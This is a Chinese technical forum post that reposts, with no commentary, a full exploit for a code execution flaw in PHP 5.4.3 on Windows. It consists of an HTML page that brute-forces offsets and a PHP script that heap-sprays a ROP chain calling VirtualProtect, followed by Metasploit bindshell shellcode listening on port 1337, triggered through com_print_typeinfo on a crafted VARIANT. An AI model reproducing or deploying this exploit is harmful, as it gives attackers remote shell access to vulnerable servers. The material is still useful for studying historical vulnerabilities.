设为首页 收藏本站

QQ登录

只需一步，快速开始

切换到宽版 切换风格

电脑疯子技术论坛|电脑极客社区

电脑疯子技术论坛|电脑极客社区»技术论坛 › 电脑疯子|资源分享 › 实用软件下载 › 帖子
微信扫一扫 分享朋友圈

已有 1285 人浏览分享

PHP 5.4 (5.4.3) Code Execution (Win32)

[复制链接]
1285 0

  2. // Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32)
  3. // Exploit author: 0in (Maksymilian Motyl)
  4. // Email: 0in(dot)email(at)gmail.com
  5. // * Bug with Variant type parsing originally discovered by Condis
  6. // Tested on Windows XP SP3 fully patched (Polish)
  7. ===================
  8. offset-brute.html
  9. ===================
  10. <html><body>
  11. <title>0day</title>
  12. <center>
  13. <font size=7>PHP 5.4.3 0day by 0in & cOndis</font><br>
  14. <textarea rows=50 cols=50 id="log">&lt;/textarea&gt;
  15. </center>
  16. <script>
  17. function sleep(milliseconds) {
  18. var start = new Date().getTime();
  19. for (var i = 0; i < 1e7; i++) {
  20. if ((new Date().getTime() - start) > milliseconds){
  21. break;
  22. }
  23. }
  24. }
  25. function makeRequest(url, parameters)
  26. {
  27. var xmlhttp = new XMLHttpRequest();
  28. if (window.XMLHttpRequest) {
  29. xmlhttp = new XMLHttpRequest();
  30. if (xmlhttp.overrideMimeType) {
  31. xmlhttp.overrideMimeType('text/xml');
  32. }
  33. } else if (window.ActiveXObject) {
  34. // IE
  35. try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
  36. catch (e) {
  37. try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
  38. catch (e) {}
  39. }
  40. }
  41. if (!xmlhttp) {
  42. alert('Giving up Cannot create an XMLHTTP instance');
  43. return false;
  44. }
  45. xmlhttp.open("GET",url,true);
  46. xmlhttp.send(null);
  47. return true;
  48. }
  49. test=document.getElementById("log");
  50. for(offset=0;offset<300;offset++)
  51. {
  52. log.value+="Trying offset:"+offset+"\r\n";
  53. makeRequest("0day.php?offset="+offset);
  54. sleep(500);
  55. }
  56. </script></body></html>
  57. ===================
  58. 0day.php
  59. ===================
  60. <?php
  61. $spray = str_repeat("\x90",0x200);
  62. $offset=$_GET['offset'];
  63. // 775DF0Da # ADD ESP,10 # RETN ** [ole32.dll]
  64. $spray = substr_replace($spray, "\xda\xf0\x5d\x77", (strlen($spray))*-1,(strlen($spray))*-1);
  65. // :> 0x048d0030
  66. $spray = substr_replace($spray, pack("L",0x048d0030+$offset), (strlen($spray)-0x8)*-1,(strlen($spray))*-1);
  67. //0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN [ole32.dll]
  68. $spray = substr_replace($spray, "\x9f\xae\x52\x77", (strlen($spray)-0x10)*-1,(strlen($spray))*-1);
  69. // Adress of VirtualProtect 0x7c801ad4
  70. $spray = substr_replace($spray, "\xd4\x1a\x80\x7c", (strlen($spray)-0x14)*-1,(strlen($spray))*-1);
  71. // LPVOID lpAddress = 0x048d0060 www.2cto.com
  72. $spray = substr_replace($spray, pack("L",0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1);
  73. // SIZE_T dwSize = 0x01000000
  74. $spray = substr_replace($spray, "\x00\x00\x10\x00", (strlen($spray)-0x20)*-1,(strlen($spray))*-1);
  75. // DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0x00000040) | 0xffffffc0
  76. $spray = substr_replace($spray, "\x40\x00\x00\x00", (strlen($spray)-0x24)*-1,(strlen($spray))*-1);
  77. // __out PDWORD lpflOldProtect = 0x04300070 | 0x105240000
  78. // 0x048d0068
  79. $spray = substr_replace($spray, pack("L",0x048d0068+$offset), (strlen($spray)-0x28)*-1,(strlen($spray))*-1);
  80. //0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** [ADVAPI32.dll]
  81. $spray = substr_replace($spray, "\xb4\xe8\xdf\x77", (strlen($spray)-0x18)*-1,4);
  82. // Ret Address = 0x048d0080
  83. $spray = substr_replace($spray, pack("L",0x048d0080+$offset), (strlen($spray)-0x48)*-1,4);
  84. $stacktrack = "\xbc\x0c\xb0\xc0\x00";
  85. // Universal win32 bindshell on port 1337 from metasploit
  86. $shellcode = $stacktrack."\x33\xc9\x83\xe9\xb0".
  87. "\x81\xc4\xd0\xfd\xff\xff".
  88. "\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1d".
  89. "\xcc\x32\x69\x83\xeb\xfc\xe2\xf4\xe1\xa6\xd9\x24\xf5\x35\xcd\x96".
  90. "\xe2\xac\xb9\x05\x39\xe8\xb9\x2c\x21\x47\x4e\x6c\x65\xcd\xdd\xe2".
  91. "\x52\xd4\xb9\x36\x3d\xcd\xd9\x20\x96\xf8\xb9\x68\xf3\xfd\xf2\xf0".
  92. "\xb1\x48\xf2\x1d\x1a\x0d\xf8\x64\x1c\x0e\xd9\x9d\x26\x98\x16\x41".
  93. "\x68\x29\xb9\x36\x39\xcd\xd9\x0f\x96\xc0\x79\xe2\x42\xd0\x33\x82".
  94. "\x1e\xe0\xb9\xe0\x71\xe8\x2e\x08\xde\xfd\xe9\x0d\x96\x8f\x02\xe2".
  95. "\x5d\xc0\xb9\x19\x01\x61\xb9\x29\x15\x92\x5a\xe7\x53\xc2\xde\x39".
  96. "\xe2\x1a\x54\x3a\x7b\xa4\x01\x5b\x75\xbb\x41\x5b\x42\x98\xcd\xb9".
  97. "\x75\x07\xdf\x95\x26\x9c\xcd\xbf\x42\x45\xd7\x0f\x9c\x21\x3a\x6b".
  98. "\x48\xa6\x30\x96\xcd\xa4\xeb\x60\xe8\x61\x65\x96\xcb\x9f\x61\x3a".
  99. "\x4e\x9f\x71\x3a\x5e\x9f\xcd\xb9\x7b\xa4\x37\x50\x7b\x9f\xbb\x88".
  100. "\x88\xa4\x96\x73\x6d\x0b\x65\x96\xcb\xa6\x22\x38\x48\x33\xe2\x01".
  101. "\xb9\x61\x1c\x80\x4a\x33\xe4\x3a\x48\x33\xe2\x01\xf8\x85\xb4\x20".
  102. "\x4a\x33\xe4\x39\x49\x98\x67\x96\xcd\x5f\x5a\x8e\x64\x0a\x4b\x3e".
  103. "\xe2\x1a\x67\x96\xcd\xaa\x58\x0d\x7b\xa4\x51\x04\x94\x29\x58\x39".
  104. "\x44\xe5\xfe\xe0\xfa\xa6\x76\xe0\xff\xfd\xf2\x9a\xb7\x32\x70\x44".
  105. "\xe3\x8e\x1e\xfa\x90\xb6\x0a\xc2\xb6\x67\x5a\x1b\xe3\x7f\x24\x96".
  106. "\x68\x88\xcd\xbf\x46\x9b\x60\x38\x4c\x9d\x58\x68\x4c\x9d\x67\x38".
  107. "\xe2\x1c\x5a\xc4\xc4\xc9\xfc\x3a\xe2\x1a\x58\x96\xe2\xfb\xcd\xb9".
  108. "\x96\x9b\xce\xea\xd9\xa8\xcd\xbf\x4f\x33\xe2\x01\xf2\x02\xd2\x09".
  109. "\x4e\x33\xe4\x96\xcd\xcc\x32\x69";
  110. $spray = substr_replace($spray,$shellcode, (strlen($spray)-0x50)*-1,(strlen($shellcode)));
  111. $fullspray="";
  112. for($i=0;$i<0x4b00;$i++)
  113. {
  114. $fullspray.=$spray;
  115. }
  116. $j=array();
  117. $e=array();
  118. $b=array();
  119. $a=array();
  120. $c=array();
  121. array_push($j,$fullspray);
  122. array_push($e,$fullspray."W");
  123. array_push($b,$fullspray."A");
  124. array_push($a,$fullspray."S");
  125. array_push($c,$fullspray."!");
  126. $vVar = new VARIANT(0x048d0038+$offset);
  127. // Shoot him
  128. com_print_typeinfo($vVar); //CRASH -> 102F3986 FF50 10 CALL DWORD PTR DS:[EAX+10]
  129. echo $arr;
  130. echo $spray;
  131. ?>
复制代码

center, email, HTML, Windows

相关帖子

举报

回复
返回列表
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 注册

本版积分规则

bek
管理员

1

关注

23

粉丝

2901

主题
精彩推荐
电脑疯子 GHOST WIN7 X64 快速装机版202001
电脑疯子 GHOST WIN7 X64 快速装机版202001
电脑疯子技术论坛GHOST WIN10X64 快速装机版201909
电脑疯子技术论坛GHOST WIN10X64 快速装机
电脑疯子 GHOST WIN7 X86 快速装机版202001
电脑疯子 GHOST WIN7 X86 快速装机版202001
电脑疯子技术论坛GHOST WIN10X86 快速装机版201909
电脑疯子技术论坛GHOST WIN10X86 快速装机
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.